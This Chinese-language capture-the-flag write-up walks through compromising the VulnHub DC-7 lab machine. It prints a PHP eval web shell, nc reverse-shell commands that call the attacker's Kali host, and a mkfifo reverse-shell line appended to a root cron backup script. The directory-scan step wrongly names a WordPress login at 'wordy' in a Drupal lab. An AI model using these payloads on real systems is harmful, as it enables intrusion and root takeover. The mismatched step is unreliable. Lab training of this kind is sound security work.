vulnhub DC-7靶机实战
字数 1295 2025-08-11 22:57:18

DC-7 靶机实战教学文档

0X01 环境部署

  1. 下载靶机

    • 下载地址:https://www.vulnhub.com/entry/dc-7,356/
    • 安装完成后将网络设置为NAT模式
  2. 网络配置

    • Kali Linux:NAT模式
    • DC-7靶机:NAT模式

0X02 信息收集

  1. 主机发现

    arp-scan -l
    
    • 假设发现:
      • Kali IP: 192.168.190.128
      • DC-7 IP: 192.168.190.135
  2. 端口扫描

    nmap -sS 192.168.190.135
    
    • 发现开放80端口(HTTP服务)
  3. 目录扫描

    python3 dirsearch.py -u http://192.168.190.135/
    
    • 发现后台登录页面:http://wordy/wp-login.php
  4. 网站分析

    • 确认网站使用WordPress CMS

0X03 获取初始访问权限

  1. 发现凭据

    • 网站首页存在提示"@DC7USER"
    • 在GitHub搜索找到配置文件,包含数据库凭据:
      <?php
      $servername = "localhost";
      $username = "dc7user";
      $password = "MdR3xOgB7#dW";
      $dbname = "Staff";
      $conn = mysqli_connect($servername, $username, $password, $dbname);
      ?>
      
    • 尝试SSH登录成功:
      ssh dc7user@192.168.190.135
      密码: MdR3xOgB7#dW
      
  2. 枚举系统信息

    • 查看当前用户权限:
      whoami
      
    • 检查文件系统:
      ls -la
      
    • 发现/opt/scripts/backups.sh脚本:
      cd /opt/scripts
      cat backups.sh
      
    • 发现drush命令可用于修改Drupal用户密码
  3. 修改Drupal管理员密码

    cd /var/www/html
    drush user-password admin --password="123456"
    

0X04 获取Web Shell

  1. 登录Drupal后台

    • URL: http://192.168.190.135/
    • 凭据: admin/123456
  2. 安装PHP模块

    • 进入Extend → Install new module
    • 输入PHP模块URL: https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
    • 下载并安装
  3. 上传Web Shell

    • 创建Basic Page
    • 插入PHP代码:
      <?php @eval($_POST['cmd']);?>
      
    • 使用蚁剑或其他工具连接Web Shell
  4. 获取交互式Shell

    • Kali监听:
      nc -lvnp 5678
      
    • 通过Web Shell执行:
      nc -e /bin/bash 192.168.190.128 5678
      
    • 升级为完全交互式Shell:
      python -c 'import pty;pty.spawn("/bin/bash")'
      

0X05 权限提升

  1. 利用定时任务提权

    • 检查/opt/scripts/backups.sh脚本
    • 该脚本可能由root用户定期执行
    • 向脚本追加反向Shell命令:
      echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.128 12345 >/tmp/f" >> backups.sh
      
      • 注意使用>>追加而非>覆盖
  2. 获取root Shell

    • Kali监听:
      nc -lvnp 12345
      
    • 等待脚本执行后获取root权限
  3. 获取flag

    cd /root
    ls
    cat theflag.txt
    

0X06 总结与关键点

  1. 信息收集阶段

    • 全面扫描端口和服务
    • 关注网站中的提示信息(如@DC7USER)
    • 利用GitHub等公开资源搜索相关信息
  2. 初始访问

    • 发现并利用公开的SSH凭据
    • 使用drush修改Drupal管理员密码
  3. Web Shell获取

    • 在Drupal 8+中需要单独安装PHP模块
    • 使用蚁剑等工具建立连接
  4. 权限提升

    • 识别可利用的定时任务脚本
    • 通过追加而非覆盖方式修改脚本
    • 利用root执行的定时任务获取最高权限
  5. 关键命令备忘

    • drush user-password - 修改Drupal用户密码
    • nc -e /bin/bash - 反弹Shell
    • python -c 'import pty;pty.spawn("/bin/bash")' - 升级交互式Shell
    • >>>的区别 - 追加与覆盖
DC-7 靶机实战教学文档 0X01 环境部署 下载靶机 : 下载地址:https://www.vulnhub.com/entry/dc-7,356/ 安装完成后将网络设置为NAT模式 网络配置 : Kali Linux:NAT模式 DC-7靶机:NAT模式 0X02 信息收集 主机发现 : 假设发现: Kali IP: 192.168.190.128 DC-7 IP: 192.168.190.135 端口扫描 : 发现开放80端口(HTTP服务) 目录扫描 : 发现后台登录页面: http://wordy/wp-login.php 网站分析 : 确认网站使用WordPress CMS 0X03 获取初始访问权限 发现凭据 : 网站首页存在提示"@DC7USER" 在GitHub搜索找到配置文件,包含数据库凭据: 尝试SSH登录成功: 枚举系统信息 : 查看当前用户权限: 检查文件系统: 发现 /opt/scripts/backups.sh 脚本: 发现 drush 命令可用于修改Drupal用户密码 修改Drupal管理员密码 : 0X04 获取Web Shell 登录Drupal后台 : URL: http://192.168.190.135/ 凭据: admin/123456 安装PHP模块 : 进入Extend → Install new module 输入PHP模块URL: https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 下载并安装 上传Web Shell : 创建Basic Page 插入PHP代码: 使用蚁剑或其他工具连接Web Shell 获取交互式Shell : Kali监听: 通过Web Shell执行: 升级为完全交互式Shell: 0X05 权限提升 利用定时任务提权 : 检查 /opt/scripts/backups.sh 脚本 该脚本可能由root用户定期执行 向脚本追加反向Shell命令: 注意使用 >> 追加而非 > 覆盖 获取root Shell : Kali监听: 等待脚本执行后获取root权限 获取flag : 0X06 总结与关键点 信息收集阶段 : 全面扫描端口和服务 关注网站中的提示信息(如@DC7USER) 利用GitHub等公开资源搜索相关信息 初始访问 : 发现并利用公开的SSH凭据 使用drush修改Drupal管理员密码 Web Shell获取 : 在Drupal 8+中需要单独安装PHP模块 使用蚁剑等工具建立连接 权限提升 : 识别可利用的定时任务脚本 通过追加而非覆盖方式修改脚本 利用root执行的定时任务获取最高权限 关键命令备忘 : drush user-password - 修改Drupal用户密码 nc -e /bin/bash - 反弹Shell python -c 'import pty;pty.spawn("/bin/bash")' - 升级交互式Shell >> 与 > 的区别 - 追加与覆盖